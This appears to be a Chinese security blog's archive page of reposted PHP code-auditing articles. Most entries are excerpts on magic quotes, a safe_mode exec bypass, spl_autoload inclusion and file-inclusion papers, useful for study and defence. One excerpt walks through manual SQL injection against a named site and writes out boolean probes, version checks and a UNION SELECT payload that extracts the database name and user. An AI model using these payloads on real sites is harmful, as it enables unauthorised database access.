存档

文章标签 ‘PHP’

关于magic_quotes_sybase

2010年3月30日     1,718 views 没有评论

关于magic_quotes_sybase

author: ryat#wolvez.org
team:http://www.80vul.com
date:2009-04-14

一 描叙

magic_quotes_gpc为on时,php在注册变量时会调用addslashes()函数处理[既转义单引号、双引号、反斜线和nullbyte],但php.ini中还有另外一个选项影响着magic_quotes_gpc和addslashes()函数:当php.ini设置magic_quotes_sybase为on时会覆盖magic_quotes_gpc为on的处理,然而magic_quotes_sybase仅仅是转义了nullbyte和把’变成了”

二 分析

先来看下addslashes的php源码:

// string.c
PHPAPI char *php_addslashes(char *str, int length, int *new_length, int should_free TSRMLS_DC)
{
return php_addslashes_ex(str, length, new_length, should_free, 0 TSRMLS_CC);
}

阅读全文…

当magic_quotes_gpc=off

2010年3月30日     1,634 views 没有评论

当magic_quotes_gpc=off

author: ryat#www.wolvez.org
team:http://www.80vul.com
date:2009-04-10

一、综述

magic_quotes_gpc是php中的一个安全选项,在php manual中对此有如下描述:

When on, all ‘ (single-quote), ” (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. This is identical to what addslashes() does

虽然magic_quotes_gpc有助于提升程序的安全性并且在php中默认开启,但同时也带来了其他的一些问题,因此在php6中将去掉此选项。

二、当magic_quotes_gpc=off

考虑到部分服务器关闭了magic_quotes_gpc或者其他的一些原因[如影响功能等],很多程序在如magic_quotes_gpc=off下自己实现一个代码来模拟magic_quotes_gpc=on的情况. 如下面的一段代码:
阅读全文…

分类: 代码审计 标签: ,

安全模式下exec等函数安全隐患

2010年3月30日     1,782 views 没有评论

安全模式下exec等函数安全隐患

author: 80vul-B
team:http://www.80vul.com
date:2009-05-27
updata:2009-6-19

—————–updata—————————————
昨天php5.2.10出来了,fix了PCH-006里提到的bug:

Fixed bug #45997 (safe_mode bypass with exec/system/passthru (windows only))

然而遗憾的是还有问题,看看php是咋fix这个的:


b = strrchr(cmd, PHP_DIR_SEPARATOR);
#ifdef PHP_WIN32
if (b && *b == ‘\\’ && b == cmd) {
// 注意标红的代码:p
php_error_docref(NULL TSRMLS_CC, E_WARNING, “Invalid absolute path.”);
goto err;
}
#endif

阅读全文…

分类: 代码审计 标签: , ,

New Includes Function — spl_autoload()

2010年3月30日     1,618 views 没有评论

在PHP 5 >= 5.1.2里出现了一个新的包含函数spl_autoload(),如果使用不当可以导致包含漏洞,或者被用来留置后门程序.
New Includes Function — spl_autoload()

author: ryat#www.wolvez.org
team:http://www.80vul.com
date:2009-04-13

一、描述

看看手册对这个函数的描述:

spl_autoload
(PHP 5 >= 5.1.2)

spl_autoload — Default implementation for __autoload()

void spl_autoload ( string $class_name [, string $file_extensions= spl_autoload_extensions() ] )

This function is intended to be used as a default implementation for __autoload(). If nothing else is specified and autoload_register() is called without any parameters then this functions will be used for any later call to __autoload().

从描述中可以知道这个函数用来替代类中__autoload方法

阅读全文…

分类: 渗透测试 标签: , ,

高级PHP应用程序漏洞审核技术

2010年3月29日     3,247 views 没有评论

这么好的文章还是忍不住要转载一下。来源文章都写清楚了。

==Ph4nt0m Security Team==

Issue 0×03, Phile #0×06 of 0×07

|=—————————————————————————=|
|=———————=[ 高级PHP应用程序漏洞审核技术 ]=———————=|
|=—————————————————————————=|
|=—————————————————————————=|
|=———————-=[    By www.80vul.com     ]=————————=|
|=————————=[   <www.80vul.com>   ]=————————–=|
|=—————————————————————————=|

[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
5.1 变量本身的key
5.2 变量覆盖
5.2.1 遍历初始化变量
5.2.2 parse_str()变量覆盖漏洞
5.2.3 import_request_variables()变量覆盖漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc与代码安全
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方没有魔术引号的保护
5.3.3 变量的编码与解码
5.3.4 二次攻击
5.3.5 魔术引号带来的新的安全问题
5.3.6 变量key与魔术引号
5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
5.4.2 变量函数与双引号
5.5 PHP自身函数漏洞及缺陷
5.5.1 PHP函数的溢出漏洞
5.5.2 PHP函数的其他漏洞
5.5.3 session_destroy()删除文件漏洞
5.5.4 随机函数
5.6 特殊字符
5.6.1 截断
5.6.1.1 include截断
5.6.1.2 数据截断
5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录
阅读全文…

分类: 代码审计 标签: ,

[zz]php安全之谜——PHP Undergroud Security

2010年3月28日     1,997 views 没有评论

文章作者:Omnipresent
译文作者:riusksk(泉哥)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

-[ 作者信息 ]———————————————————————–

标题: “PHP Undergroud Security”
作者: Omnipresent
邮箱: omnipresent@email.it – omni@playhack.net
主页: http://omni.playhack.net – http://www.playhack.net
日期: 2007-04-12

———————————————————————————

-[ 译者信息 ]———————————————————————–

译者:riusksk(泉哥)

邮箱:riusksk@qq.com

主页: http://riusksk.blogbus.com

日期:2008-11-15

———————————————————————————

-[ 摘要 ]———————————————————————

0×00: 前言

0×01: 关注全局变量
# 修补

0×02: 文件包含

# 修补

0×03: 跨站脚本
0×04: SQL注入

\_ 0×04a: 绕过登陆验证
\_ 0×04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!)

# 修补

0×05: 文件遍历

# 修补
0×05: 结论

阅读全文…

分类: 代码审计 标签: ,

[zz]Finding vulnerabilities in PHP scripts FULL ( with examples )

2010年3月22日     26,980 views 1 条评论

From;http://www.milw0rm.com/papers/381

Name : Finding vulnerabilities in PHP scripts FULL ( with examples )
Author : SirGod
Email : sirgod08@gmail.com
Contents :

1) About
2) Some stuff
3) Remote File Inclusion
3.0 – Basic example
3.1 – Simple example
3.2 – How to fix
4) Local File Inclusion
4.0 – Basic example
4.1 – Simple example
4.2 – How to fix
5) Local File Disclosure/Download
5.0 – Basic example
5.1 – Simple example

5.2 – How to fix
阅读全文…

分类: 代码审计 标签: ,

[zz]PHP filesystem attack vectors

2010年3月5日     1,912 views 没有评论

来源:http://www.milw0rm.com/papers/283

ps:有些东西我也独立想出来过,虽然没有发到网上,但是我没有抄袭这位。

不错的文章。收藏一下。

PHP filesystem attack vectors

Name PHP filesystem attack vectors
Systems Affected PHP and PHP+Suhosin
Vendor http://www.php.net/
Advisory http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
Authors Francesco “ascii” Ongaro (ascii AT ush DOT it)
Giovanni “evilaliv3″ Pellerano (giovanni.pellerano AT
evilaliv3 DOT org)
Date 20090207

I) Introduction
II) The bugs in 50 words
III) PHP filesystem functions path normalization attack
IV) PHP filesystem functions path normalization attack details
V) PHP filesystem functions path truncation attack
VI) PHP filesystem functions path truncation attack details
VII) The facts
VIII) POC and attack code
IX) Conclusions
X) References

阅读全文…

分类: 代码审计 标签: , ,

一次典型的php+MySQL手工注射

2010年3月4日     2,431 views 没有评论

大家好我是xxx,闲着无聊找个网站练练手,请出google “inurl:php?id=80 site:XXX 关键字”
很快找到一个有漏洞的网站:

http://www.hacked.cn/autocar/show.php?id=42

加”‘”,网页部分内容消失。and 1=1 正常;and 1=2消失。存在注入漏洞,好就件捡软柿子捏!
判断mysql版本:
http://www.hacked.cn/autocar/show.php?id=42 and substring(@@version,1,1)=4正常
http://www.hacked.cn/autocar/show.php?id=42 and substring(@@version,1,1)=5不正常。
order by 1;order by 2正常,order by 3不正常。字段2个。
检测基本信息:
http://www.hacked.cn/autocar/show.php?id=-42 union select concat(@@version,0x3a,database(),0x3a,user()),2
阅读全文…

[zz]PHP filesystem attack vectors – Take Two

2010年3月2日     2,760 views 没有评论

From:http://www.milw0rm.com/papers/359
PHP filesystem attack vectors – Take Two

Name PHP filesystem attack vectors – Take Two
Systems Affected PHP and PHP+Suhosin
Vendor http://www.php.net/
Advisory http://www.ush.it/team/ush/hack-phpfs/phpfs_mad_2.txt
Authors Giovanni “evilaliv3″ Pellerano (evilaliv3 AT ush DOT it)
Antonio “s4tan” Parata (s4tan AT ush DOT it)
Francesco “ascii” Ongaro (ascii AT ush DOT it)
Alessandro “jekil” Tanasi (alessandro AT tanasi DOT it)
Date 20090725

I) Introduction
II) PHP arbitrary Local File Inclusion testing
III) PHP arbitrary Local File Inclusion results
IV) PHP arbitrary File Open testing
V) PHP arbitrary File Open results
VI) PHP arbitrary Remote File Upload testing
VII) PHP arbitrary Remote File Upload results
VIII) Conclusions
IX) References

阅读全文…

分类: 代码审计 标签: , ,